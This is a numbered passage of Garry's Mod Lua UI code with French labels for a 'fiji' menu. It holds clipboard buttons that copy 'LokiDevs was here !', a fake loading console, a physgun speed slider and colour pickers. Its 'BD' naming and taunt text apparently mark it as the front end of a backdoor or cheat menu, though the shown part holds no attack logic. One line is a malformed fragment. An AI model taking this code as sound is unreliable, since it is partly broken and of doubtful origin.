2689draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2690end
2691CopiediscordHomeText.DoClick = function()
2692SetClipboardText( "LokiDevs was here !" )
2693end
2694end
2695local CopiediscordHome = vgui.Create( "DButton", pContent)
2696CopiediscordHome:SetPos( 180, 255)
2697CopiediscordHome:SetSize( 80, 35 )
2698CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2699CopiediscordHome:SetText( "Copier Discord" )
2700CopiediscordHome.Paint = function( self, w, h )
2701draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2702if self:IsHovered() then
2703CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2704draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2705aBorder = Color( 110,110,110, 80 )
2706else
2707CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2708draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2709aBorder = Color( 110,110,110, 0 )
2710endder = Color( 110,110,110, 0 )
2711end
2712CopiediscordHome.OnCursorEntered = function(self)
2713surface.PlaySound( fiji_pityhover )
2714end
2715surface.SetDrawColor( aBorder )
2716surface.DrawOutlinedRect( 0, 0, w, h )
2717CopiediscordHome.DoClick = function()
2718NOTIFICATION("Lien copié")
2719SetClipboardText( "LokiDevs was here !" )
2720surface.PlaySound( fiji_pityclick )
2721end
2722end
2723local CopiewebHomeText = vgui.Create( "DButton", pContent)
2724CopiewebHomeText:SetPos( 361, 358)
2725CopiewebHomeText:SetSize( 200, 40 )
2726CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2727CopiewebHomeText:SetText( "Copier le lien" )
2728CopiewebHomeText.Paint = function( self, w, h )
2729draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2730if self:IsHovered() then
2731draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2732else
2733draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2734end
2735CopiewebHomeText.DoClick = function()
2736SetClipboardText( "LokiDevs was here !" )
2737end
2738end
2739
2740local CopiewebHome = vgui.Create( "DButton", pContent)
2741CopiewebHome:SetPos( 280, 255)
2742CopiewebHome:SetSize( 80, 35 )
2743CopiewebHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2744CopiewebHome:SetText( "Copier Site" )
2745CopiewebHome.Paint = function( self, w, h )
2746draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2747if self:IsHovered() then
2748CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2749draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2750aBorder = Color( 110,110,110, 80 )
2751else
2752CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2753draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2754aBorder = Color( 110,110,110, 0 )
2755end
2756surface.SetDrawColor( aBorder )
2757surface.DrawOutlinedRect( 0, 0, w, h )
2758CopiewebHome.OnCursorEntered = function(self)
2759surface.PlaySound( fiji_pityhover )
2760
2761end
2762CopiewebHome.DoClick = function()
2763NOTIFICATION("Lien copié")
2764SetClipboardText( "LokiDevs was here !" )
2765surface.PlaySound( fiji_pityclick )
2766
2767end
2768end
2769end
2770
2771
2772
2773
2774concommand.Add("fiji_console", function()
2775local BDConsole = vgui.Create( "DFrame" )
2776BDConsole:SetSize( 700, 400 )
2777BDConsole:Center()
2778BDConsole:SetTitle("")
2779BDConsole:SetDraggable( true )
2780BDConsole:ShowCloseButton( false )
2781BDConsole:MakePopup()
2782BDConsole.Paint = function( self, w, h)
2783DrawBlur(self, 25)
2784draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2785
2786end
2787
2788local ConsoleText = vgui.Create( "DPanel", BDConsole ) -- create the form as a child of frame
2789ConsoleText:SetPos( 5, 25 )
2790ConsoleText:SetSize( 690, 370 )
2791ConsoleText:SetText( "MaJ" )
2792ConsoleText.Paint = function( self, w, h)
2793draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2794
2795end
2796
2797local ConsoleText1 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2798ConsoleText1:SetPos( 500, 1000 )
2799ConsoleText1:SetSize( 690, 370 )
2800ConsoleText1:SetText( "MaJ" )
2801ConsoleText1.Paint = function( self, w, h)
2802draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2803draw.SimpleText("Initialisation...", "BudgetLabel", 5, 5, Color(255, 255, 255,255), 0, 1)
2804
2805end
2806
2807local ConsoleText2 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2808ConsoleText2:SetPos( 500, 1000 )
2809ConsoleText2:SetSize( 690, 370 )
2810ConsoleText2:SetText( "MaJ" )
2811ConsoleText2.Paint = function( self, w, h)
2812draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2813draw.SimpleText("Lecture du cache...", "BudgetLabel", 5, 5, Color(95, 119, 252), 0, 1)
2814end
2815
2816local ConsoleText3 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2817ConsoleText3:SetPos( 500, 1000 )
2818ConsoleText3:SetSize( 690, 370 )
2819ConsoleText3:SetText( "MaJ" )
2820ConsoleText3.Paint = function( self, w, h)
2821draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2822draw.SimpleText("Affichage", "BudgetLabel", 5, 5, Color(255, 255, 255,255), 0, 1)
2823end
2824
2825local ConsoleText4 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2826ConsoleText4:SetPos( 500, 1000 )
2827ConsoleText4:SetSize( 690, 370 )
2828ConsoleText4:SetText( "MaJ" )
2829ConsoleText4.Paint = function( self, w, h)
2830draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2831draw.SimpleText("V1.0 - Base du Menu", "BudgetLabel", 5, 5, Color(91, 255, 102,255), 0, 1)
2832
2833draw.SimpleText("En développement : Catégorie Fun Commandes", "BudgetLabel", 5, 20, Color(255, 100, 100,255), 0, 1)
2834end
2835
2836
2837local Readconsole = vgui.Create( "DButton", ConsoleText)
2838Readconsole:SetPos( 5, 8)
2839Readconsole:SetSize( 150, 15 )
2840Readconsole:SetTextColor( Color( 255, 255, 255, 255 ) )
2841Readconsole:SetText( "Cliquez ici pour lancer la lecture" )
2842Readconsole.Paint = function( self, w, h )
2843draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2844
2845Readconsole.DoClick = function()
2846Readconsole:Remove()
2847timer.Simple( 0.1, function()
2848ConsoleText1:SetPos( 5, 25 )
2849end )
2850
2851timer.Simple( 0.6, function()
2852ConsoleText2:SetPos( 5, 25 )
2853end )
2854
2855timer.Simple( 2.3, function()
2856ConsoleText3:SetPos( 5, 25 )
2857end )
2858
2859timer.Simple( 2.5, function()
2860ConsoleText4:SetPos( 5, 25 )
2861end )
2862
2863
2864end
2865end
2866
2867
2868concommand.Add("fiji_readconsole", function()
2869
2870timer.Simple( 1, function()
2871draw.SimpleText("Initialisation...", "BudgetLabel", 5, 12, Color(255, 255, 255,255), 0, 1)
2872end )
2873timer.Simple( 2, function() draw.SimpleText("Lecture du cache...", "BudgetLabel", 5, 28, Color(255, 255, 255,255), 0, 1) end )
2874timer.Simple( 2.5, function() draw.SimpleText("Affichage", "BudgetLabel", 5, 40, Color(255, 255, 255,255), 0, 1) end )
2875
2876timer.Simple( 2.7, function()
2877draw.SimpleText("V1.0 - Base du Menu", "BudgetLabel", 5, 52, Color(91, 255, 102,255), 0, 1)
2878draw.SimpleText("En développement : Catégorie Fun Commandes", "BudgetLabel", 5, 65, Color(255, 100, 100,255), 0, 1)
2879end )
2880
2881end)
2882
2883local CloseCONSOLE = vgui.Create( "DButton", BDConsole)
2884CloseCONSOLE:SetPos( 670, 8)
2885CloseCONSOLE:SetSize( 20, 15 )
2886CloseCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
2887CloseCONSOLE:SetText( "X" )
2888CloseCONSOLE.Paint = function( self, w, h )
2889draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2890if self:IsHovered() then
2891draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2892else
2893draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2894end
2895CloseCONSOLE.DoClick = function()
2896LocalPlayer():ConCommand("fiji_sv_existmen 0")
2897BDConsole:Remove()
2898end
2899end
2900
2901local ReturnCONSOLE = vgui.Create( "DButton", BDConsole)
2902ReturnCONSOLE:SetPos( 638, 8)
2903ReturnCONSOLE:SetSize( 30, 15)
2904ReturnCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
2905ReturnCONSOLE:SetText( "<--" )
2906ReturnCONSOLE.Paint = function( self, w, h )
2907draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2908if self:IsHovered() then
2909draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2910else
2911draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2912end
2913ReturnCONSOLE.DoClick = function()
2914LocalPlayer():ConCommand("pity")
2915BDConsole:Remove()
2916end
2917end
2918
2919concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
2920BDConsole:Remove()
2921
2922end)
2923
2924end)
2925
2926function BD:Options( pContent )
2927local BDMenuOptions = vgui.Create("DPanel", pContent)
2928BDMenuOptions:SetSize( 539, 388 )
2929BDMenuOptions:SetPos( 0, 0 )
2930BDMenuOptions.Paint = function( self, w, h)
2931if fiji_style_menu:GetInt() == 2 then
2932draw.RoundedBox( 0, 0, 0, 2, h - 46, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2933
2934elseif fiji_style_menu:GetInt() == 1 then
2935draw.RoundedBox( 0, 0, 0, 2, h - 46, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2936
2937else
2938draw.RoundedBox( 0, 0, 0, 2, h - 46, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2939
2940end
2941
2942
2943draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
2944draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
2945draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
2946draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
2947draw.RoundedBox( 0, 290, 10, w - 447, 2, Color( 50,50,50, 255 ) )
2948draw.SimpleText("Menu", "pity_home3", 251, 10, Color(100, 100, 100,255), 0, 1)
2949
2950draw.RoundedBox( 200, 382, 205, 2, h - 213, Color( 50,50,50, 255 ) )
2951draw.RoundedBox( 200, 149, 205, 2, h - 213, Color( 50,50,50, 255 ) )
2952draw.RoundedBox( 0, 151, 378, w - 307, 2, Color( 50,50,50, 255 ) )
2953draw.RoundedBox( 0, 151, 205, w - 448, 2, Color( 50,50,50, 255 ) )
2954draw.RoundedBox( 0, 290, 205, w - 447, 2, Color( 50,50,50, 255 ) )
2955draw.SimpleText("Autres", "pity_home3", 250, 205, Color(100, 100, 100,255), 0, 1)
2956end
2957
2958
2959
2960local pPOOO = vgui.Create( "DPanel", pContent )
2961pPOOO:SetSize( 225, 50 )
2962pPOOO:SetPos( 154, 290 )
2963function pPOOO:Paint( w, h )
2964draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2965draw.SimpleText( "VITESSE PHYSICGUN", "pity_home5", 10, h / 2, color_white, 0, 1 )
2966end
2967local pDistanceOOO = vgui.Create( "DNumSlider", pContent )
2968pDistanceOOO:SetPos( 215, 290 )
2969pDistanceOOO:SetSize( 180, 50 )
2970pDistanceOOO:SetText( "" )
2971pDistanceOOO:SetMin( 10 )
2972pDistanceOOO:SetMax( 1500 )
2973pDistanceOOO:SetDecimals( 0 )
2974pDistanceOOO:SetValue( physgun_wheelspeed:GetInt() or 200 )
2975pDistanceOOO.Scratch:SetVisible( false )
2976pDistanceOOO.TextArea:SetTextColor( color_white )
2977function pDistanceOOO.Slider:Paint(w, h)
2978surface.SetDrawColor(0, 0, 0, 255)
2979surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
2980if fiji_style_menu:GetInt() == 2 then
2981surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2982surface.DrawRect(0, 21, barw, h / 5)
2983
2984elseif fiji_style_menu:GetInt() == 1 then
2985surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
2986surface.DrawRect(0, 21, barw, h / 5)
2987
2988else
2989surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
2990surface.DrawRect(0, 21, barw, h / 5)
2991end
2992end
2993function pDistanceOOO:SetHeight(tall)
2994self.Slider.Knob:SetHeight(tall / 2 + 4)
2995DSlider.SetHeight(self, tall)
2996pDistanceOOO.SetTall = pDistanceOOO.SetHeight
2997pDistanceOOO.Slider.Knob:SetTall(5)
2998end
2999function pDistanceOOO.Slider.Knob:Paint(w, h)
3000derma.SkinHook( "Paint", "Button", self, 0, 0 )
3001end
3002function pDistanceOOO:OnValueChanged( val )
3003RunConsoleCommand( "physgun_wheelspeed", tonumber( self:GetValue() ) )
3004end
3005
3006local movingicons = {Material("icon16/exclamation.png"), Material("icon16/delete.png"), Material("icon16/key.png"), Material("icon16/cancel.png"), Material("icon16/rainbow.png"), Material("icon16/wand.png"), nil}
3007
3008
3009local OpenConsole = vgui.Create( "DButton", pContent)
3010OpenConsole:SetPos( 485, 363.5)
3011OpenConsole:SetSize( 50, 20 )
3012OpenConsole:SetTextColor( Color( 255, 255, 255, 255 ) )
3013OpenConsole:SetText( "Console" )
3014OpenConsole.Paint = function( self, w, h )
3015draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3016if self:IsHovered() then
3017
3018
3019for i, icon in pairs(movingicons) do
3020local seed = i
3021local tick = (CurTime() + seed * 10)
3022local speed = seed % 4 + 1 + (seed * 0.5)
3023local loltick = (CurTime() * 2+ tick * speed * 10) % w
3024surface.SetDrawColor(255, 255, 255)
3025surface.SetMaterial(icon)
3026local iw, ih = 50, 50
3027surface.DrawTexturedRect(loltick, 0 + (h * 1.01 / 15) + math.sin(loltick / 30) * 5, iw, ih)
3028end
3029DrawBlur(self, 5)
3030
3031draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 180))
3032
3033else
3034OpenConsole:SetTextColor( Color( 255, 255, 255, 100 ) )
3035draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3036end
3037function OpenConsole:OnCursorEntered() OpenConsole:SizeTo( 60, 30, 0.2, 0 ) OpenConsole:MoveTo( 475, 353.5, 0.2) end
3038function OpenConsole:OnCursorExited() OpenConsole:SizeTo( 50, 20, 0.2, 0 ) OpenConsole:MoveTo( 485, 363.5, 0.2)end
3039OpenConsole.DoClick = function()
3040LocalPlayer():ConCommand("fiji_console")
3041LocalPlayer():ConCommand("clear_pity")
3042LocalPlayer():ConCommand("fiji_sv_existmen 1")
3043end
3044end
3045
3046local ColorMenuBB = vgui.Create( "DPanel", BDMenuOptions )
3047ColorMenuBB:SetSize( 225, 50 )
3048ColorMenuBB:SetPos( 154, 227 )
3049function ColorMenuBB:Paint( w, h )
3050draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3051draw.SimpleText( "Couleur Joueur", "pity_home5", 78, 8, color_white, 0, 1 )
3052end
3053local OptionsColorRedMENUBB = vgui.Create( "DButton", ColorMenuBB )
3054OptionsColorRedMENUBB:SetPos( 4,20 )
3055OptionsColorRedMENUBB:SetSize( 20, 20 )
3056OptionsColorRedMENUBB:SetText( " " )
3057OptionsColorRedMENUBB.Paint = function( self, w, h )
3058if self:IsHovered() then
3059draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3060surface.SetDrawColor(255, 255, 255 ,100)
3061surface.DrawOutlinedRect(0, 0, w, h)
3062else
3063draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3064surface.SetDrawColor(255, 255, 255 ,100)
3065surface.DrawOutlinedRect(0, 0, w, h)
3066end
3067OptionsColorRedMENUBB.DoClick = function()
3068LocalPlayer():ConCommand("fiji_principal_color_player 255")
3069LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3070LocalPlayer():ConCommand("fiji_third_color_player 0")
3071LocalPlayer():ConCommand("fiji_style_player 0")
3072surface.PlaySound( fiji_pityhover )
3073end
3074end
3075local OptionsColorOrangeMENUBB = vgui.Create( "DButton", ColorMenuBB )
3076OptionsColorOrangeMENUBB:SetPos( 26,20 )
3077OptionsColorOrangeMENUBB:SetSize( 20, 20 )
3078OptionsColorOrangeMENUBB:SetText( " " )
3079OptionsColorOrangeMENUBB.Paint = function( self, w, h )
3080if self:IsHovered() then
3081draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3082surface.SetDrawColor(255, 255, 255 ,100)
3083surface.DrawOutlinedRect(0, 0, w, h)
3084else
3085draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3086surface.SetDrawColor(255, 255, 255 ,100)
3087surface.DrawOutlinedRect(0, 0, w, h)
3088end
3089OptionsColorOrangeMENUBB.DoClick = function()
3090LocalPlayer():ConCommand("fiji_principal_color_player 255")
3091LocalPlayer():ConCommand("fiji_secondary_color_player 144")
3092LocalPlayer():ConCommand("fiji_third_color_player 0")
3093LocalPlayer():ConCommand("fiji_style_player 0")
3094surface.PlaySound( fiji_pityhover )
3095end
3096end
3097local OptionsColorYellowMENUBB = vgui.Create( "DButton", ColorMenuBB )
3098OptionsColorYellowMENUBB:SetPos( 48,20 )
3099OptionsColorYellowMENUBB:SetSize( 20, 20 )
3100OptionsColorYellowMENUBB:SetText( " " )
3101OptionsColorYellowMENUBB.Paint = function( self, w, h )
3102if self:IsHovered() then
3103draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3104surface.SetDrawColor(255, 255, 255 ,100)
3105surface.DrawOutlinedRect(0, 0, w, h)
3106else
3107draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3108surface.SetDrawColor(255, 255, 255 ,100)
3109surface.DrawOutlinedRect(0, 0, w, h)
3110end
3111OptionsColorYellowMENUBB.DoClick = function()
3112LocalPlayer():ConCommand("fiji_principal_color_player 255")
3113LocalPlayer():ConCommand("fiji_secondary_color_player 229")
3114LocalPlayer():ConCommand("fiji_third_color_player 0")
3115LocalPlayer():ConCommand("fiji_style_player 0")
3116surface.PlaySound( fiji_pityhover )
3117end
3118end
3119local OptionsColorGreenMENUBB = vgui.Create( "DButton", ColorMenuBB )
3120OptionsColorGreenMENUBB:SetPos( 70,20 )
3121OptionsColorGreenMENUBB:SetSize( 20, 20 )
3122OptionsColorGreenMENUBB:SetText( " " )
3123OptionsColorGreenMENUBB.Paint = function( self, w, h )
3124if self:IsHovered() then
3125draw.RoundedBox(0,0,0,w,h,Color(0, 155, 106))
3126surface.SetDrawColor(255, 255, 255 ,100)
3127surface.DrawOutlinedRect(0, 0, w, h)
3128else
3129draw.RoundedBox( 0, 0, 0, w, h, Color(0, 255, 174))
3130surface.SetDrawColor(255, 255, 255 ,100)
3131surface.DrawOutlinedRect(0, 0, w, h)
3132end
3133OptionsColorGreenMENUBB.DoClick = function()
3134LocalPlayer():ConCommand("fiji_principal_color_player 0")
3135LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3136LocalPlayer():ConCommand("fiji_third_color_player 4")
3137LocalPlayer():ConCommand("fiji_style_player 0")
3138surface.PlaySound( fiji_pityhover )
3139end
3140end
3141local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3142OptionsColorBlueMENUBB:SetPos( 92,20 )
3143OptionsColorBlueMENUBB:SetSize( 20, 20 )
3144OptionsColorBlueMENUBB:SetText( " " )
3145OptionsColorBlueMENUBB.Paint = function( self, w, h )
3146if self:IsHovered() then
3147draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3148surface.SetDrawColor(255, 255, 255 ,100)
3149surface.DrawOutlinedRect(0, 0, w, h)
3150else
3151draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3152surface.SetDrawColor(255, 255, 255 ,100)
3153surface.DrawOutlinedRect(0, 0, w, h)
3154end
3155OptionsColorBlueMENUBB.DoClick = function()
3156LocalPlayer():ConCommand("fiji_principal_color_player 0")
3157LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3158LocalPlayer():ConCommand("fiji_third_color_player 255")
3159LocalPlayer():ConCommand("fiji_style_player 0")
3160surface.PlaySound( fiji_pityhover )
3161end
3162end
3163local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3164OptionsColorBlueMENUBB:SetPos( 114,20 )
3165OptionsColorBlueMENUBB:SetSize( 20, 20 )
3166OptionsColorBlueMENUBB:SetText( " " )
3167OptionsColorBlueMENUBB.Paint = function( self, w, h )
3168if self:IsHovered() then
3169draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3170surface.SetDrawColor(255, 255, 255 ,100)
3171surface.DrawOutlinedRect(0, 0, w, h)
3172else
3173draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3174surface.SetDrawColor(255, 255, 255 ,100)
3175surface.DrawOutlinedRect(0, 0, w, h)
3176end
3177OptionsColorBlueMENUBB.DoClick = function()
3178LocalPlayer():ConCommand("fiji_principal_color_player 114")
3179LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3180LocalPlayer():ConCommand("fiji_third_color_player 255")
3181LocalPlayer():ConCommand("fiji_style_player 0")
3182surface.PlaySound( fiji_pityhover )
3183end
3184end
3185local OptionsColorPinkMENUBB = vgui.Create( "DButton", ColorMenuBB )
3186OptionsColorPinkMENUBB:SetPos( 136,20 )
3187OptionsColorPinkMENUBB:SetSize( 20, 20 )
3188OptionsColorPinkMENUBB:SetText( " " )
3189OptionsColorPinkMENUBB.Paint = function( self, w, h )
3190if self:IsHovered() then
3191draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3192surface.SetDrawColor(255, 255, 255 ,100)
3193surface.DrawOutlinedRect(0, 0, w, h)
3194else
3195draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3196surface.SetDrawColor(255, 255, 255 ,100)
3197surface.DrawOutlinedRect(0, 0, w, h)
3198end
3199OptionsColorPinkMENUBB.DoClick = function()
3200LocalPlayer():ConCommand("fiji_principal_color_player 255")
3201LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3202LocalPlayer():ConCommand("fiji_third_color_player 242")
3203LocalPlayer():ConCommand("fiji_style_player 0")
3204surface.PlaySound( fiji_pityhover )
3205end
3206end
3207local OptionsColorBlackMENUBB = vgui.Create( "DButton", ColorMenuBB )
3208OptionsColorBlackMENUBB:SetPos( 158,20 )
3209OptionsColorBlackMENUBB:SetSize( 20, 20 )
3210OptionsColorBlackMENUBB:SetText( " " )
3211OptionsColorBlackMENUBB.Paint = function( self, w, h )
3212if self:IsHovered() then
3213draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3214surface.SetDrawColor(255, 255, 255 ,100)
3215surface.DrawOutlinedRect(0, 0, w, h)
3216else
3217draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3218surface.SetDrawColor(255, 255, 255 ,100)
3219surface.DrawOutlinedRect(0, 0, w, h)
3220end
3221OptionsColorBlackMENUBB.DoClick = function()
3222LocalPlayer():ConCommand("fiji_principal_color_player 0")
3223LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3224LocalPlayer():ConCommand("fiji_third_color_player 0")
3225LocalPlayer():ConCommand("fiji_style_player 0")
3226surface.PlaySound( fiji_pityhover )
3227end
3228end
3229local OptionsColormultiMENUBB = vgui.Create( "DButton", ColorMenuBB )
3230OptionsColormultiMENUBB:SetPos( 202,20 )
3231OptionsColormultiMENUBB:SetSize( 20, 20 )
3232OptionsColormultiMENUBB:SetText( " " )
3233OptionsColormultiMENUBB.Paint = function( self, w, h )
3234if self:IsHovered() then
3235draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3236surface.SetDrawColor(255, 255, 255 ,100)
3237surface.DrawOutlinedRect(0, 0, w, h)
3238else
3239draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3240surface.SetDrawColor(255, 255, 255 ,100)
3241surface.DrawOutlinedRect(0, 0, w, h)
3242end
3243OptionsColormultiMENUBB.DoClick = function()
3244LocalPlayer():ConCommand("fiji_style_player 1")
3245surface.PlaySound( fiji_pityhover )
3246end
3247end
3248local OptionsColorwhiteMENUBB = vgui.Create( "DButton", ColorMenuBB )
3249OptionsColorwhiteMENUBB:SetPos( 180,20 )
3250OptionsColorwhiteMENUBB:SetSize( 20, 20 )
3251OptionsColorwhiteMENUBB:SetText( " " )
3252OptionsColorwhiteMENUBB.Paint = function( self, w, h )
3253if self:IsHovered() then
3254draw.RoundedBox(0,0,0,w,h,Color(200,200,200))
3255surface.SetDrawColor(255, 255, 255,100)
3256surface.DrawOutlinedRect(0, 0, w, h)
3257else
3258draw.RoundedBox( 0, 0, 0, w, h, Color(255,255,255))
3259surface.SetDrawColor(255, 255, 255 ,100)
3260surface.DrawOutlinedRect(0, 0, w, h)
3261end
3262OptionsColorwhiteMENUBB.DoClick = function()
3263LocalPlayer():ConCommand("fiji_principal_color_player 255")
3264LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3265LocalPlayer():ConCommand("fiji_third_color_player 255")
3266LocalPlayer():ConCommand("fiji_style_player 0")
3267surface.PlaySound( fiji_pityhover )
3268end
3269end
3270
3271
3272
3273
3274
3275local ColorMenu = vgui.Create( "DPanel", BDMenuOptions )
3276ColorMenu:SetSize( 225, 50 )
3277ColorMenu:SetPos( 154, 30 )
3278function ColorMenu:Paint( w, h )
3279draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3280draw.SimpleText( "Couleur Menu", "pity_home5", 79, 8, color_white, 0, 1 )
3281end
3282local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenu )
3283OptionsColorRedMENU:SetPos( 4,20 )
3284OptionsColorRedMENU:SetSize( 20, 20 )
3285OptionsColorRedMENU:SetText( " " )
3286OptionsColorRedMENU.Paint = function( self, w, h )
3287if self:IsHovered() then
3288draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3289surface.SetDrawColor(255, 255, 255 ,100)
3290surface.DrawOutlinedRect(0, 0, w, h)
3291else
3292draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3293surface.SetDrawColor(255, 255, 255 ,100)
3294surface.DrawOutlinedRect(0, 0, w, h)
3295end
3296OptionsColorRedMENU.DoClick = function()
3297LocalPlayer():ConCommand("fiji_menu_princ_color 238")
3298LocalPlayer():ConCommand("fiji_menu_sec_color 61")
3299LocalPlayer():ConCommand("fiji_menu_th_color 61")
3300LocalPlayer():ConCommand("fiji_style_menu 0")
3301surface.PlaySound( fiji_pityhover )
3302
3303end
3304end
3305local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenu )
3306OptionsColorOrangeMENU:SetPos( 26,20 )
3307OptionsColorOrangeMENU:SetSize( 20, 20 )
3308OptionsColorOrangeMENU:SetText( " " )
3309OptionsColorOrangeMENU.Paint = function( self, w, h )
3310if self:IsHovered() then
3311draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3312surface.SetDrawColor(255, 255, 255 ,100)
3313surface.DrawOutlinedRect(0, 0, w, h)
3314else
3315draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3316surface.SetDrawColor(255, 255, 255 ,100)
3317surface.DrawOutlinedRect(0, 0, w, h)
3318end
3319OptionsColorOrangeMENU.DoClick = function()
3320LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3321LocalPlayer():ConCommand("fiji_menu_sec_color 162")
3322LocalPlayer():ConCommand("fiji_menu_th_color 91")
3323LocalPlayer():ConCommand("fiji_style_menu 0")
3324surface.PlaySound( fiji_pityhover )
3325
3326end
3327end
3328local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenu )
3329OptionsColorYellowMENU:SetPos( 48,20 )
3330OptionsColorYellowMENU:SetSize( 20, 20 )
3331OptionsColorYellowMENU:SetText( " " )
3332OptionsColorYellowMENU.Paint = function( self, w, h )
3333if self:IsHovered() then
3334draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3335surface.SetDrawColor(255, 255, 255 ,100)
3336surface.DrawOutlinedRect(0, 0, w, h)
3337else
3338draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3339surface.SetDrawColor(255, 255, 255 ,100)
3340surface.DrawOutlinedRect(0, 0, w, h)
3341end
3342OptionsColorYellowMENU.DoClick = function()
3343LocalPlayer():ConCommand("fiji_menu_princ_color 246")
3344LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3345LocalPlayer():ConCommand("fiji_menu_th_color 91")
3346LocalPlayer():ConCommand("fiji_style_menu 0")
3347surface.PlaySound( fiji_pityhover )
3348
3349end
3350end
3351local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenu )
3352OptionsColorGreenMENU:SetPos( 70,20 )
